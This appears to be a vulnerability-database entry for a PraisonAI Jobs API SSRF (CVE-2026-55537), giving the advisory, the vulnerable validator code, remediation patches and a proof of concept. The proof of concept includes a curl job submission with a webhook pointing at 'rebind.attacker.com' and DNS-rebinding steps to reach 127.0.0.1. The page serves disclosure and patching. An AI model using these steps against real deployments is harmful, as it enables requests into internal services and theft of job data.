Skip to main content

PraisonAI CVE-2026-55537

| EUVDEUVD-2026-65515 HIGH
Time-of-check Time-of-use (TOCTOU) Race Condition (CWE-367)
2026-08-25 https://github.com/MervinPraison/PraisonAI GHSA-rg5q-pp8p-f7jm
7.1
CVSS 3.1 · Vendor: https://github.com/MervinPraison/PraisonAI
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid Jobs API bearer token
  2. Delivery
    Submit job with NXDOMAIN webhook_url (gaierror fail-open accepts it)
  3. Exploit
    Update attacker DNS to resolve hostname to 127.0.0.1
  4. Execution
    Job completes, _send_webhook() resolves hostname fresh via httpx
  5. Persist
    POST delivered to internal service
  6. Impact
    Trigger internal service action or exfiltrate job result data

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V15 - Secure Coding and Architecture TOCTOU prevention
Exploitation Conditions

Exploitation requires: (1) a valid bearer token for the PraisonAI Jobs API - CVSS PR:L confirms low-privilege authenticated access is the minimum; unauthenticated exploitation is not supported by the available data; (2a) for the primary DNS-rebinding path, attacker control over a domain's DNS records with ability to serve NXDOMAIN initially then switch to a private IP within the job's queue-processing window; OR (2b) for the transient-DNS-failure variant, the ability to submit jobs during a period when the PraisonAI server's DNS resolver is temporarily unreachable (no DNS control needed - attacker retries submission until a transient gaierror occurs); (3) the PraisonAI deployment must have the Jobs module active and expose the POST /jobs endpoint to the attacker. Exploitation is limited by: the PR:L authentication requirement (no anonymous access); AC:H complexity for the DNS-timing path requiring coordination of job queue depth and DNS TTL; and the fixed JSON POST payload format (job result data), which constrains which internal services can be usefully triggered - the target internal service must interpret a JSON POST as a meaningful action (e.g., Jenkins, Consul, or a similar webhook-driven system). The Jobs API is a standard PraisonAI component, not a non-default feature, so no special server configuration is required beyond the endpoint being reachable by the attacker.

Impact

The CVSS 3.1 score of 7.1 (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N) accurately characterizes the primary attack path: network-reachable, high complexity due to DNS timing requirements, and low-privilege authentication required. However, the AC:H rating applies primarily to the DNS-rebinding variant; the transient-DNS-failure variant - where the attacker simply retries submission during a moment the PraisonAI server's DNS resolver is unreachable - requires no DNS control at all, effectively lowering practical attack complexity for opportunistic exploitation. No EPSS data was provided, so exploitation probability cannot be quantified from that signal. The vulnerability is not listed in CISA KEV at time of analysis, and no exploitation beyond the PoC is confirmed. The S:C scope change is well-justified: the SSRF allows the PraisonAI server to POST to internal services (127.0.0.1, RFC-1918 ranges) that are otherwise network-isolated, and the tags note Jenkins as a realistic target - a Jenkins webhook endpoint receiving an unexpected POST could trigger pipeline execution. Real-world risk is elevated for multi-tenant deployments or API-gateway integrations where untrusted callers can reach the Jobs API, and significantly lower for single-tenant or firewalled installations. The 'RCE' tag in the input data reflects secondary impact (SSRF to a service that interprets POSTs as commands), not direct code execution in PraisonAI itself - this distinction matters for triage.

Exploit ScenarioDerived

An attacker holding a valid PraisonAI API bearer token submits a job to POST /jobs with webhook_url set to http://rebind.attacker.com/callback, a hostname they control that currently returns NXDOMAIN - the socket.gaierror fail-open causes validation to silently accept it. Before the job finishes processing, the attacker updates their DNS record to rebind.attacker.com A 127.0.0.1 with a short TTL; when the job completes and _send_webhook() fires, httpx.AsyncClient resolves the hostname fresh and POSTs the JSON job result payload to 127.0.0.1, reaching a local service such as a Jenkins webhook listener on port 80. A detailed PoC demonstrating both the fail-open bypass (socket.gaierror mock) and the fresh DNS resolution behavior is included in GHSA-rg5q-pp8p-f7jm.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 public PoC Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Server-Side Request Forgery in PraisonAI's Jobs API (pip/praisonai < 4.6.58) results from two compounding flaws: a fail-open DNS error handler in JobSubmitRequest.validate_webhook_url() that silently accepts any webhook URL when socket.gaierror is raised, and a TOCTOU race where JobExecutor._send_webhook() performs a completely independent DNS resolution via httpx.AsyncClient minutes to hours after validation. Authenticated attackers with a valid API bearer token can submit a job whose webhook_url hostname returns NXDOMAIN at validation time, then update DNS to a private IP before job completion, causing the executor to POST job result data to internal infrastructure. A detailed proof-of-concept is publicly available in GHSA-rg5q-pp8p-f7jm; no public exploit identified at time of analysis beyond the PoC, and this CVE is not listed in CISA KEV.

RemediationAI

Upgrade PraisonAI to version 4.6.58 or later, confirmed fixed in patch commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1 (https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1) and released at https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58. The patch changes the socket.gaierror handler in jobs/models.py to raise ValueError (fail-closed) and adds a re-validation call in _send_webhook() before dispatching the httpx POST, closing both the fail-open and TOCTOU vectors. If immediate patching is not possible, the most effective compensating control is restricting POST /jobs access to a trusted network segment or authenticated internal callers only - this eliminates the external attacker's ability to submit malicious webhook URLs. As a narrower alternative, a WAF rule rejecting any webhook_url field value in job submission request bodies disables the feature entirely; trade-off is loss of legitimate webhook functionality. Blocking outbound HTTP from the PraisonAI process to RFC-1918 and loopback ranges at the host or container firewall level is a defense-in-depth measure that prevents the SSRF payload from reaching internal services even if a bypass is submitted, with no functional impact on legitimate external webhook delivery.

Affected VersionsENISA

PraisonAI < 4.6.58

Affected Packages

pypi praisonai fix: 4.6.58

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is PraisonAI (pkg:pip/praisonai), a Python-based AI agent orchestration framework. CWE-367 (Time-of-Check Time-of-Use Race Condition) precisely describes the root cause: the security decision - whether a webhook hostname resolves to a private IP - is made at job submission in jobs/models.py using socket.gethostbyname(), but the actual HTTP dispatch occurs in jobs/executor.py via httpx.AsyncClient, which creates a new TCP connection and resolves DNS independently with no shared cache. The TOCTOU window spans the entire job queue depth - potentially minutes to hours. A compounding flaw makes DNS control optional: when socket.gethostbyname() raises socket.gaierror (NXDOMAIN, timeout, or any network error), the validator executes except socket.gaierror: pass, unconditionally accepting the URL. This means any transient DNS failure during validation - rate-limiting, resolver outage, or deliberate retries - bypasses the private-IP check entirely without requiring attacker DNS control. This vulnerability is an explicit bypass of the patch for CVE-2026-40114 (GHSA-8frj-8q3m-xhgm), which introduced validate_webhook_url() in v4.5.126; the fix introduced the fail-open behavior now being exploited.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/MervinPraison/PraisonAI) PRIMARY 7.1 HIGH
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
vuln.today AI 7.1 HIGH

Network API requires bearer token (PR:L); DNS timing coordination makes AC:H; SSRF reaching internal services constitutes scope change with high confidentiality and low integrity impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N

Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).

CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) - performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can:

  1. Submit a job with webhook_url pointing to a hostname that currently does not

resolve (NXDOMAIN) → validation passes (gaierror → pass)

  1. Update DNS to point that hostname to 127.0.0.1 or another private IP
  2. When the job completes, _send_webhook() resolves the hostname fresh → POST sent

to the internal IP

Details

Flaw 1 - Fail-open on DNS error (jobs/models.py lines 58-66):

python
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass
# <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 - Fresh DNS at execution time (jobs/executor.py lines 376-406):

python
async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,
# <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself - the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 - Confirm fail-open behaviour (local code verification):

python
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
# No exception raised - URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

Step 2 - Confirm fresh DNS at execution time:

python
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo():
# httpx resolves DNS here, not using any cached result from validation
    async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
        try:
            r = await client.post("http://rebind.attacker.com/callback", json={})
        except Exception as e:
            print(f"Connection: {e}")

asyncio.run(demo())

Step 3 - Full attack scenario:

bash
# 1. Set up domain with short TTL, currently returning NXDOMAIN
#    rebind.attacker.com  →  (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "Calculate 2+2",
    "webhook_url": "http://rebind.attacker.com/callback"
  }'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
#    rebind.attacker.com  A  127.0.0.1  TTL=60
# 4. Wait for job to complete (seconds to minutes).
#    _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
#    POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}

Immediate variant (no DNS timing required):

If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required - the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).

Impact

What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.

Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:

  • Multi-tenant deployments where workspace members submit jobs
  • API integrations (n8n, Zapier-style workflows) that provide webhook_url fields

Post-exploit capabilities:

  • HTTP POST to any internal service with JSON payload (job result data)
  • If an internal service interprets the POST body as commands (Jenkins webhook,

Consul KV, etc.), this achieves code execution on internal infrastructure

  • Exfiltration of job results (which may include agent reasoning, data retrieved

during the task, discovered credentials) to an attacker-controlled endpoint


---
## Remediation Suggestion (for maintainers)

**Fix 1 - Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**

VULNERABLE

except socket.gaierror: pass

FIXED

except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." )


**Fix 2 - Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**

async def _send_webhook(self, job: Job): if not job.webhook_url: return

Re-validate to prevent DNS rebinding

try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhook_url).hostname ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return

... proceed with httpx.post

Latest POC

1 public PoC link from github

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

PraisonAI versions before 4.6.58 contain a vulnerability in the Jobs API that allows authenticated users to redirect job results to internal company infrastructure, creating a pathway for data exfiltration and unauthorized access to internal systems. Any employee or contractor with a valid API token could exploit this vulnerability to redirect sensitive information away from intended destinations toward private networks, making urgent patching essential to prevent unauthorized access to confidential business data.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Low
niche Python AI agent framework, limited enterprise deployment footprint
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

56
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy